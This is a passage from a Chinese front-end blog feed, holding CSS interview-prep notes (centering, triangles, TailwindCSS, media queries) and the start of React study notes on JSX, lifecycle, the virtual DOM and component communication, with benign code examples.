</span></span><span class="line"><span class="cl">  <span class="nt">from</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">margin-left</span><span class="p">:</span> <span class="mi">-20</span><span class="kt">%</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="nt">to</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">margin-left</span><span class="p">:</span> <span class="mi">100</span><span class="kt">%</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span></code></pre></div></li>
<li>参考: <a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/animation"  target="_blank" rel="noopener" >animation - CSS：层叠样式表 | MDN</a></li>
</ul>
<hr>
<h2 id="媒体查询">媒体查询</h2>
<ul>
<li>语法: <code>@media (min-width: 30em) and (orientation: landscape) { ... }</code></li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/CSS_media_queries/Using_media_queries"  target="_blank" rel="noopener" >使用媒体查询 - CSS：层叠样式表 | MDN</a></li>
</ul>
<hr>
<h2 id="预处理器">预处理器</h2>
<ul>
<li>LESS</li>
<li>SCSS</li>
<li>PostCSS</li>
</ul>
<h3 id="lesssass解决了什么问题">less/sass解决了什么问题</h3>
<p>wip</p>
<h3 id="css-in-js-与-less-sass预处理器的好处">css in js 与 less sass预处理器的好处</h3>
<p>wip</p>
<ul>
<li><a href="http://blog.fantasy.codes/css/2021/09/10/css-in-js-debet/"  target="_blank" rel="noopener" >CSS-in-JS 技术解惑</a></li>
</ul>
<hr>
<h2 id="现代化-css-开发流程">现代化 CSS 开发流程</h2>
<ul>
<li>借助@mixin、@extend等预处理器提供的方法，可以复用 css 代码片段，甚至在 css 中写一些逻辑。</li>
<li>借助autoprefixer、px2rem等 postcss 工具，不需要写繁琐的前缀和单位转换。</li>
<li>借助css module、css scoped等工具，不用考虑样式冲突，以至于不用过多地考虑命名了。</li>
<li>借助BEM命名规范，解决命名难</li>
<li>参考
<ul>
<li><a href="https://www.shymean.com/article/%E5%85%B3%E4%BA%8ETailwindCSS%E7%9A%84%E4%B8%80%E4%BA%9B%E6%80%9D%E8%80%83"  target="_blank" rel="noopener" >关于TailwindCSS的一些思考 | ShyMean</a></li>
<li><a href="https://juejin.cn/post/6844903672162304013"  target="_blank" rel="noopener" >CSS — BEM 命名规范Bem 是块（block）、元素（element）、修饰符（modifier）的简写，由 Y - 掘金</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="tailwindcss">TailwindCSS</h2>
<ul>
<li>工作原理：扫描所有文件的类名，生成相应的样式，然后将它们写入静态 CSS 文件。</li>
<li>JIT 引擎（Just-In-Time）:在编译过程才去扫描html 文件，在这个过程中去识别使用了哪些类名，然后才生成对应的样式</li>
<li>缺点:
<ol>
<li>每个标签的 class 都很长，语义化的可读性；</li>
<li>如果全都使用原子类来构建页面，则维护起来是很麻烦的</li>
<li>选择器嵌套、后代选择器等 css 的特点看起来也是不太好用上了</li>
</ol>
</li>
<li>优点:
<ol>
<li>通过自定义原子类，能约定好设计规范,规范好标题字号、颜色，这个盒子内边距、外边距之类的属性</li>
<li>通过<a href="https://tailwindcss.com/docs/reusing-styles#extracting-classes-with-apply"  target="_blank" rel="noopener" >@apply</a>可以将一堆原子类合并到一个独立的类名中,就能结合原子类的样式复用和语义化类名容易维护的优点,由此一定程度上解决缺点1</li>
<li>针对维护麻烦的问题，可以将常用组件进行封装, 由此一定程度上解决缺点2</li>
</ol>
</li>
<li>缺点:
<ol>
<li>每个标签的 class 都很长，语义化的可读性；</li>
<li>如果全都使用原子类来构建页面，则维护起来是很麻烦的</li>
<li>选择器嵌套、后代选择器等 css 的特点看起来也是不太好用上了</li>
</ol>
</li>
<li>参考
<ul>
<li><a href="https://michaeljier.cn/blog/diving-into-tailwindcss"  target="_blank" rel="noopener" >深入浅出 tailwindcss</a></li>
<li><a href="https://www.shymean.com/article/%E5%85%B3%E4%BA%8ETailwindCSS%E7%9A%84%E4%B8%80%E4%BA%9B%E6%80%9D%E8%80%83"  target="_blank" rel="noopener" >关于TailwindCSS的一些思考 | ShyMean</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="scroll-timeline">scroll-timeline</h2>
<p><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/scroll-timeline"  target="_blank" rel="noopener" >scroll-timeline - CSS: Cascading Style Sheets | MDN</a></p>
<hr>
<h2 id="问答题">问答题</h2>
<h3 id="显示小于12px文字">显示小于12px文字</h3>
<ol>
<li>使用transform: scale()</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">.</span><span class="nc">small-text</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">font-size</span><span class="p">:</span> <span class="mi">10</span><span class="kt">px</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">transform</span><span class="p">:</span> <span class="nb">scale</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">transform-origin</span><span class="p">:</span> <span class="kc">left</span> <span class="kc">top</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><ol start="2">
<li>使用-webkit-text-size-adjust</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">.</span><span class="nc">small-text</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kp">-webkit-</span><span class="n">text-size-adjust</span><span class="p">:</span> <span class="kc">none</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">font-size</span><span class="p">:</span> <span class="mi">10</span><span class="kt">px</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><ol start="3">
<li>使用vw单位</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">.</span><span class="nc">small-text</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">font-size</span><span class="p">:</span> <span class="mf">0.625</span><span class="kt">vw</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><ul>
<li>参考: <a href="https://juejin.cn/post/7419532688972464137"  target="_blank" rel="noopener" >前端面试题，显示小于12px文字Chrome显示小于12px文字 难度: 困难 公司: 百度 标签: CSS 字体大小 - 掘金</a></li>
</ul>
<h3 id="css画三角形">css画三角形</h3>
<ul>
<li>等腰三角形</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="o">&lt;</span><span class="nt">style</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">.</span><span class="nc">filled-triangle</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">width</span><span class="p">:</span> <span class="mi">0</span><span class="kt">px</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">height</span><span class="p">:</span> <span class="mi">0</span><span class="kt">px</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">border-bottom</span><span class="p">:</span> <span class="mi">50</span><span class="kt">px</span> <span class="kc">solid</span> <span class="kc">cyan</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">border-top</span><span class="p">:</span> <span class="mi">50</span><span class="kt">px</span> <span class="kc">solid</span> <span class="kc">transparent</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">border-left</span><span class="p">:</span> <span class="mi">50</span><span class="kt">px</span> <span class="kc">solid</span> <span class="kc">transparent</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">border-right</span><span class="p">:</span> <span class="mi">50</span><span class="kt">px</span> <span class="kc">solid</span> <span class="kc">transparent</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="o">&lt;/</span><span class="nt">style</span><span class="o">&gt;</span>
</span></span></code></pre></div><ul>
<li>参考: <a href="https://github.com/Advanced-Frontend/Daily-Interview-Question/issues/518"  target="_blank" rel="noopener" >第207题：CSS 如何实现一个三角形？ · Issue #518 · Advanced-Frontend/Daily-Interview-Question</a></li>
</ul>
<h3 id="如何实现水平垂直居中">如何实现水平垂直居中</h3>
<ol>
<li><strong>Flexbox</strong>
适用于块级容器中的元素垂直居中。</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">.</span><span class="nc">container</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">display</span><span class="p">:</span> <span class="kc">flex</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">justify-content</span><span class="p">:</span> <span class="kc">center</span><span class="p">;</span> <span class="c">/* 水平居中 */</span>
</span></span><span class="line"><span class="cl">  <span class="k">align-items</span><span class="p">:</span> <span class="kc">center</span><span class="p">;</span> <span class="c">/* 垂直居中 */</span>
</span></span><span class="line"><span class="cl">  <span class="k">height</span><span class="p">:</span> <span class="mi">100</span><span class="kt">vh</span><span class="p">;</span> <span class="c">/* 确保容器有高度 */</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><ol start="2">
<li><strong>Grid Layout</strong></li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">.</span><span class="nc">container</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">display</span><span class="p">:</span> <span class="k">grid</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">place-items</span><span class="p">:</span> <span class="kc">center</span><span class="p">;</span> <span class="c">/* 同时垂直和水平居中 */</span>
</span></span><span class="line"><span class="cl">  <span class="k">height</span><span class="p">:</span> <span class="mi">100</span><span class="kt">vh</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><ol start="3">
<li><strong>使用<code>line-height</code>（适用于单行文本）</strong>
如果只是文本，使用<code>line-height</code>与<code>height</code>相等可以达到垂直居中效果。</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">.</span><span class="nc">container</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">height</span><span class="p">:</span> <span class="mi">200</span><span class="kt">px</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">line-height</span><span class="p">:</span> <span class="mi">200</span><span class="kt">px</span><span class="p">;</span> <span class="c">/* 与容器高度相同 */</span>
</span></span><span class="line"><span class="cl">  <span class="k">text-align</span><span class="p">:</span> <span class="kc">center</span><span class="p">;</span> <span class="c">/* 水平居中 */</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><ol start="4">
<li><strong>绝对定位 + 负边距</strong>
适用于已知元素宽高的情况下：</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">.</span><span class="nc">container</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">position</span><span class="p">:</span> <span class="kc">relative</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">height</span><span class="p">:</span> <span class="mi">100</span><span class="kt">vh</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">element</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">position</span><span class="p">:</span> <span class="kc">absolute</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">top</span><span class="p">:</span> <span class="mi">50</span><span class="kt">%</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">left</span><span class="p">:</span> <span class="mi">50</span><span class="kt">%</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">transform</span><span class="p">:</span> <span class="nb">translate</span><span class="p">(</span><span class="mi">-50</span><span class="kt">%</span><span class="p">,</span> <span class="mi">-50</span><span class="kt">%</span><span class="p">);</span> <span class="c">/* 通过transform偏移居中 */</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><ol start="5">
<li><strong><code>table</code>布局</strong>
适用于需要兼容旧版浏览器的场景：</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">.</span><span class="nc">container</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">display</span><span class="p">:</span> <span class="kc">table</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">height</span><span class="p">:</span> <span class="mi">100</span><span class="kt">vh</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">width</span><span class="p">:</span> <span class="mi">100</span><span class="kt">%</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">element</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">display</span><span class="p">:</span> <span class="kc">table-cell</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">vertical-align</span><span class="p">:</span> <span class="kc">middle</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">text-align</span><span class="p">:</span> <span class="kc">center</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><ol start="6">
<li><strong>CSS Variables（动态适应不同的场景）</strong>
可以结合Flexbox和Grid等方式，动态控制居中的方法。</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">:</span><span class="nd">root</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nv">--container-height</span><span class="p">:</span> <span class="mi">100</span><span class="kt">vh</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">.</span><span class="nc">container</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">display</span><span class="p">:</span> <span class="kc">flex</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">justify-content</span><span class="p">:</span> <span class="kc">center</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">align-items</span><span class="p">:</span> <span class="kc">center</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">height</span><span class="p">:</span> <span class="nf">var</span><span class="p">(</span><span class="o">--</span><span class="kc">container</span><span class="o">-</span><span class="n">height</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><ul>
<li>参考: <a href="https://github.com/Advanced-Frontend/Daily-Interview-Question/issues/515"  target="_blank" rel="noopener" >第204题：如何实现元素的水平垂直居中？ · Issue #515 · Advanced-Frontend/Daily-Interview-Question</a></li>
</ul>
<h3 id="脱离文档流">脱离文档流</h3>
<ul>
<li>含义:
<ul>
<li>元素脱离文档流之后，将不再在文档流中占据空间，而是处于浮动状态（可以理解为漂浮在文档流的上方）。脱离文档流的元素的定位基于正常的文档流，当一个元素脱离文档流后，依然在文档流中的其他元素将忽略该元素并填补其原先的空间。</li>
</ul>
</li>
<li>方法
<ol>
<li>float</li>
<li>absolute</li>
<li>fixed</li>
</ol>
</li>
<li>参考: <a href="https://www.cnblogs.com/Tony-Ding/articles/11928919.html"  target="_blank" rel="noopener" >【css】脱离文档流的三种方法 - 十八力丁 - 博客园</a></li>
</ul>
<h3 id="如何实现响应式">如何实现响应式</h3>
<ol>
<li>减少使用绝对单位，而是使用相对单位</li>
<li>媒体查询</li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images"  target="_blank" rel="noopener" >响应式图片 - 学习 Web 开发 | MDN</a></li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/CSS_layout/Responsive_Design"  target="_blank" rel="noopener" >响应式设计 - 学习 Web 开发 | MDN</a></li>
</ol>
<h3 id="如何实现固定宽高比">如何实现固定宽高比</h3>
<ul>
<li>参考: <a href="https://juejin.cn/post/6844904070679887886"  target="_blank" rel="noopener" >面试官：CSS如何实现固定宽高比 ？ - 掘金</a></li>
</ul>
<h3 id="实现三栏布局">实现三栏布局</h3>
<p>wip</p>
<h3 id="写个css当文本没有超过容器宽度时居中显示超过宽度则换行并左对齐displaytabel-cell或者widthfit-content但是忘了">写个css，当文本没有超过容器宽度时居中显示，超过宽度则换行，并左对齐（display:tabel-cell或者width:fit-content，但是忘了）</h3>
<p>wip</p>
<h3 id="用css实现一个模态窗口要从窗口下面向上弹的动画">用css实现一个模态窗口，要从窗口下面向上弹的动画</h3>
<p>wip</p>
<h3 id="如何保证让contextmenu出现在可视区域如何打开自己的contextmenu">如何保证让contextmenu出现在可视区域，如何打开自己的contextmenu</h3>
<p>wip</p>
<hr>
<h2 id="参考-5">参考</h2>
<ul>
<li><a href="https://segmentfault.com/a/1190000022021557#item-11"  target="_blank" rel="noopener" >104道 CSS 面试题，助你查漏补缺 - 前端笔记本 - SegmentFault 思否</a></li>
<li><a href="https://bgww.apachecn.org/CSS-%E9%9D%A2%E8%AF%95%E9%A2%98%EF%BC%88%E5%B1%B1%E6%9C%88%EF%BC%89/"  target="_blank" rel="noopener" >CSS 面试题（山月） - 【布客】八股文知识库</a></li>
<li><a href="https://www.joshwcomeau.com/css/interactive-guide-to-flexbox/"  target="_blank" rel="noopener" >An Interactive Guide to Flexbox in CSS</a></li>
<li><a href="https://www.ruanyifeng.com/blog/2015/07/flex-grammar.html"  target="_blank" rel="noopener" >Flex 布局教程：语法篇 - 阮一峰的网络日志</a></li>
<li><a href="https://zhuanlan.zhihu.com/p/91470473"  target="_blank" rel="noopener" >flex 笔记（血与泪） - 知乎</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>React知识点整理</title>
      <link>https://euds.org/2024/react_points/</link>
      <pubDate>Fri, 08 Mar 2024 15:34:14 +0800</pubDate>
      
      <guid>https://euds.org/2024/react_points/</guid>
      <description>自己学习过程中整理的关于React的知识点</description>
      <content:encoded><![CDATA[<p><strong>本文记录了我学习过程中整理的关于React的知识点,以摘抄为主，绝大部分非原创。未能全部都标明出处，在此致歉</strong></p>
<h2 id="jsx">JSX</h2>
<ul>
<li>一种JavaScript的语法扩展（extension），也在很多地方称之为JavaScript XML，因为看起就是一段XML语法；</li>
<li>为什么React选择使用jsx？
<ul>
<li>React认为渲染逻辑本质上与其他UI逻辑存在内在耦合,他们之间是密不可分，所以React没有将标记分离到不同的文件中，而是将它们组合到了一起，这个地方就是组件（Component）</li>
</ul>
</li>
<li>本质
<ul>
<li>React.createElement(component, props, &hellip;children) 函数的语法糖</li>
<li>所有的jsx最终都会被转换成React.createElement的函数调用</li>
</ul>
</li>
<li>参考: <a href="https://www.cnblogs.com/yaopengfei/p/17299996.html"  target="_blank" rel="noopener" >第二节：jsx语法深度剖析和jsx本质的探究 - Yaopengfei - 博客园</a></li>
</ul>
<hr>
<h2 id="生命周期">生命周期</h2>
<h3 id="there-phases">there phases</h3>
<ol>
<li>mounting: initial render</li>
<li>updating: is triggered when the props are updated or when the state is updated</li>
<li>unmounting: when the component is removed from the DOM</li>
</ol>
<h3 id="methods">methods</h3>
<ul>
<li>Each phase has specific methods responsible for a particular stage in a component&rsquo;s lifecycle. These methods <strong>are technically particular to class-based components</strong> and not intended for functional components.</li>
<li><a href="https://projects.wojtekmaj.pl/react-lifecycle-methods-diagram/"  target="_blank" rel="noopener" >React lifecycle methods diagram</a></li>
<li><code>shouldComponentUpdate</code> -&gt; <code>useMemo</code>、 <code>memo</code></li>
<li>&ldquo;Commit phase&quot;中的三个方法,Can work with DOM, run side effects, schedule updates：
<ol>
<li><code>componentDidMount</code> -&gt; the useEffect hook with the second argument of []</li>
<li><code>componentDidUpdate</code> -&gt; the useEffect hook with the second argument of [state]</li>
<li><code>componentWillUnmount</code> -&gt; <strong>return a function</strong> that runs on unmounting inside the useEffect function,例:</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl">    <span class="nx">useEffect</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s2">&#34;Hello&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s2">&#34;Bye&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">};</span>
</span></span><span class="line"><span class="cl"><span class="p">},</span> <span class="p">[]);</span>
</span></span></code></pre></div></li>
<li>上面的类比只是类比，不能等同，原因：
<ol>
<li>实际原理不同</li>
<li>执行时机不同</li>
</ol>
</li>
</ul>
<h3 id="参考">参考</h3>
<ul>
<li><a href="https://juejin.cn/post/7132786097922736164"  target="_blank" rel="noopener" >useEffect(fn, []) 不等于 componentDidMount() - 掘金</a></li>
<li><a href="https://retool.com/blog/the-react-lifecycle-methods-and-hooks-explained"  target="_blank" rel="noopener" >The React lifecycle: methods and hooks explained</a></li>
<li><a href="https://juejin.cn/post/6914112105964634119"  target="_blank" rel="noopener" >深入详解React生命周期 getSnapshotBe - 掘金</a></li>
</ul>
<hr>
<h2 id="react-组件的实现">React 组件的实现</h2>
<h3 id="函数组件">函数组件</h3>
<ul>
<li>
<p>概念</p>
<ul>
<li>函数组件是一个普通的 JavaScript 函数，它接受 props 作为参数并返回 React 元素树（JSX）。</li>
<li>React 会调用该函数并将返回的 JSX 虚拟 DOM 转换为真实的 DOM。</li>
<li>现代 React 推荐使用函数组件，因为它更简洁，且能够配合 Hook 使用。</li>
</ul>
</li>
<li>
<p>组件的生命周期</p>
<ul>
<li>虽然函数组件没有显式的生命周期方法，但通过 React Hook 可以为它们注入类似生命周期的功能。</li>
<li>类似 <code>useEffect</code> 可以让函数组件在 <code>componentDidMount</code>、<code>componentDidUpdate</code> 或 <code>componentWillUnmount</code> 这类阶段执行代码。</li>
</ul>
</li>
</ul>
<h3 id="类组件">类组件</h3>
<ul>
<li>概念
<ul>
<li>类组件是基于 <code>ES6 class</code> 的方式定义的，它继承自 <code>React.Component</code>。</li>
</ul>
</li>
<li>组件的生命周期
<ul>
<li>类组件有一系列内置的生命周期方法，如 <code>componentDidMount</code>、<code>componentDidUpdate</code>、<code>componentWillUnmount</code> 等，用于控制组件的生命周期。</li>
</ul>
</li>
</ul>
<h3 id="virtual-dom虚拟-dom和-reconciliation调和">Virtual DOM（虚拟 DOM）和 Reconciliation（调和）</h3>
<ul>
<li>React 中的每个组件返回的 JSX 会被转换为虚拟 DOM。虚拟 DOM 是实际 DOM 的轻量化表示，它的变化不会立即反映在真实的浏览器 DOM 上。</li>
<li>当组件的状态或 props 改变时，React 会创建新的虚拟 DOM，并通过 Diff 算法与旧的虚拟 DOM 进行对比，找出差异，然后仅更新需要更新的部分，这个过程称为 Reconciliation（调和）。</li>
</ul>
<hr>
<h2 id="虚拟dom-virtual-document-object-model">虚拟DOM （Virtual Document Object Model）</h2>
<p>在React中，当状态（state）发生变化时，React并不直接操作真实的DOM来更新页面，而是先在内存中构建一个虚拟DOM树，然后通过比较虚拟DOM树和之前渲染的虚拟DOM树之间的差异，最终计算出最小的DOM操作，并将这些操作批量应用到真实的DOM上。</p>
<h3 id="虚拟dom节点可能包含的详细信息">虚拟DOM节点可能包含的详细信息</h3>
<ol>
<li><strong>type</strong>：节点类型可以是元素节点、文本节点或者组件节点。</li>
<li><strong>props</strong>：节点可能包含一些属性，这些属性描述了节点的特征，比如元素节点的class、id、style等属性，以及事件处理函数等。chidren 是 props 中的一个属性，它存储了当前组件的孩子节点，可以是数组（多个孩子节点）或对象（只有一个孩子节点）</li>
<li><strong>key</strong>：用于在DOM的重渲染过程中标识节点的唯一性，有助于React在进行差异比较时准确找到对应的节点。</li>
<li><strong>ref</strong>：用于获取节点的引用，通常用于在组件中操作DOM节点。</li>
<li><strong>owner</strong>: 所属的Component</li>
<li>其他</li>
</ol>
<h3 id="diff算法">diff算法</h3>
<ul>
<li>比较当前的虚拟DOM树和状态变更将要重新渲染时生成的虚拟DOM树的算法。</li>
<li>关键：
<ol>
<li>深度优先</li>
<li>只对同一级别的元素进行比较</li>
</ol>
</li>
<li>三种diff
<ol>
<li>tree diff : 只是简单进行了删除和创建操作</li>
<li>component diff：
<ul>
<li>使用的是<code>===</code>严格相等。也就是&quot;引用相等性&rdquo;</li>
<li>不同类型 -&gt; 直接替换整个组件下的所有子节点，即销毁原组件，创建新组件。</li>
<li>同一类型 -&gt; 继续判断</li>
</ul>
</li>
<li>element diff: 针对同一层级的所有节点（包括元素节点和组件节点）的 diff 算法
<ul>
<li>三种操作：
<ol>
<li>insert_markup</li>
<li>move_existing</li>
<li>remove_node:</li>
</ol>
</li>
<li>涉及到列表元素顺序的动态变更时，不要用遍历的 index 作为节点的 key 属性值</li>
</ul>
</li>
</ol>
</li>
</ul>
<h3 id="参考-1">参考</h3>
<ul>
<li><a href="https://xie.infoq.cn/article/65e938d933cc751fcc008942d"  target="_blank" rel="noopener" >谈谈虚拟DOM，Diff算法与Key机制_React_beifeng1996_InfoQ写作社区</a></li>
</ul>
<hr>
<h2 id="组件间通信方式">组件间通信方式</h2>
<h3 id="通过-props-传递数据父传子组件通信">通过 Props 传递数据（父传子组件通信）</h3>
<ul>
<li><strong>适用场景</strong>：最常见的方式，适用于父组件向子组件传递数据。</li>
<li><strong>原理</strong>：父组件通过 <code>props</code> 将数据传递给子组件，子组件通过 <code>props</code> 接收并使用这些数据。</li>
</ul>
<h3 id="使用回调函数子传父组件通信">使用回调函数（子传父组件通信）</h3>
<ul>
<li><strong>适用场景</strong>：当子组件需要向父组件传递数据时。</li>
<li><strong>原理</strong>：父组件将一个回调函数作为 <code>props</code> 传递给子组件，子组件调用该函数，将数据传递回父组件。</li>
<li><strong>示例</strong>:
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsx" data-lang="jsx"><span class="line"><span class="cl"> <span class="kd">function</span> <span class="nx">Parent</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">   <span class="kr">const</span> <span class="nx">handleData</span> <span class="o">=</span> <span class="p">(</span><span class="nx">data</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">     <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">data</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">   <span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">   <span class="k">return</span> <span class="p">&lt;</span><span class="nt">Child</span> <span class="na">sendData</span><span class="o">=</span><span class="p">{</span><span class="nx">handleData</span><span class="p">}</span> <span class="p">/&gt;;</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="kd">function</span> <span class="nx">Child</span><span class="p">({</span> <span class="nx">sendData</span> <span class="p">})</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">   <span class="k">return</span> <span class="p">&lt;</span><span class="nt">button</span> <span class="na">onClick</span><span class="o">=</span><span class="p">{()</span> <span class="p">=&gt;</span> <span class="nx">sendData</span><span class="p">(</span><span class="s2">&#34;Hello from child!&#34;</span><span class="p">)}&gt;</span><span class="nx">Send</span> <span class="nx">Data</span><span class="p">&lt;/</span><span class="nt">button</span><span class="p">&gt;;</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span></code></pre></div></li>
</ul>
<h3 id="通过-context-api">通过 Context API</h3>
<ul>
<li><strong>适用场景</strong>：适合深层次的组件树中需要共享的全局状态，避免层层传递 <code>props</code>（例如：主题、语言、用户信息等）。</li>
<li><strong>原理</strong>：创建一个 <code>Context</code>，并使用 <code>Provider</code> 组件来提供状态，任何深层的组件都可以通过 <code>Consumer</code> 或 <code>useContext</code> 钩子来访问。</li>
<li><strong>示例</strong>:
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsx" data-lang="jsx"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">MyContext</span> <span class="o">=</span> <span class="nx">React</span><span class="p">.</span><span class="nx">createContext</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">Parent</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">value</span> <span class="o">=</span> <span class="s2">&#34;Hello from context!&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">MyContext.Provider</span> <span class="na">value</span><span class="o">=</span><span class="p">{</span><span class="nx">value</span><span class="p">}&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="p">&lt;</span><span class="nt">Child</span> <span class="p">/&gt;</span>
